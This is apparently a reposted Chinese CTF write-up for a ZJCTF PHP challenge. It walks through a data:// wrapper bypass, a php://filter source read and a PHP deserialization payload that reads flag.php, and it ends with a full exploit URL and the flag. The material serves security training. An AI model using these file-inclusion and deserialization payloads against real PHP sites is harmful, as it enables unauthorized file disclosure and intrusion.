開題得到原始碼:
1 <?php
2 $text = $_GET["text"];
3 $file = $_GET["file"];
4 $password = $_GET["password"];
5 if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
6 echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
7 if(preg_match("/flag/",$file)){
8 echo "Not now!";
9 exit();
10 }else{
11 include($file); //useless.php
12 $password = unserialize($password);
13 echo $password;
14 }
15 }
16 else{
17 highlight_file(__FILE__);
18 }
19 ?>
可以看到題目要求我們傳入三個值:$text,$file,$password.
第一個考點:data協議寫入檔案text
payload:?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
因為file_get_contents()函式是對檔案的處理函式,并且題目并沒有為我們提供檔案上傳點,所以這里我們使用data://協議將welcome to the zjctf的base64值寫入檔案$text中,即可通過第一個if判斷.
第二個考點:php協議寫入usless.php檔案
payload:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
在下面我們看到了危險函式include(),所以這里用php偽協議去讀取題目提示中的usless.php
讀取到的內容如下(base64解密之后得到):
1 <?php 2 3 class Flag{ //flag.php 4 public $file; 5 public function __tostring(){ 6 if(isset($this->file)){ 7 echo file_get_contents($this->file); 8 echo "<br>"; 9 return ("U R SO CLOSE !///COME ON PLZ"); 10 } 11 } 12 } 13 ?>
結合原始碼得知最后一個考點是反序列化,沒什么繞的直接給出exp:
1 <?php 2 3 class Flag{ //flag.php 4 public $file = "flag.php"; 5 public function __tostring(){ 6 if(isset($this->file)){ 7 echo file_get_contents($this->file); 8 echo "<br>"; 9 return ("U R SO CLOSE !///COME ON PLZ"); 10 } 11 } 12 } 13 $A = new Flag; 14 $B = serialize($A); 15 echo $B; 16 ?>//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最終payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
flag:flag{fd1bc57d-deb3-4fb3-b3c4-a31a62777780}
給出PHP支持的三種偽協議對比:
1 include($_GET['file']) 2 include('php://filter/convert.base64-encode/resource=index.php'); 3 include('data://text/plain;base64,cGhwaW5mbygpCg==');
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/127887.html
標籤:其他
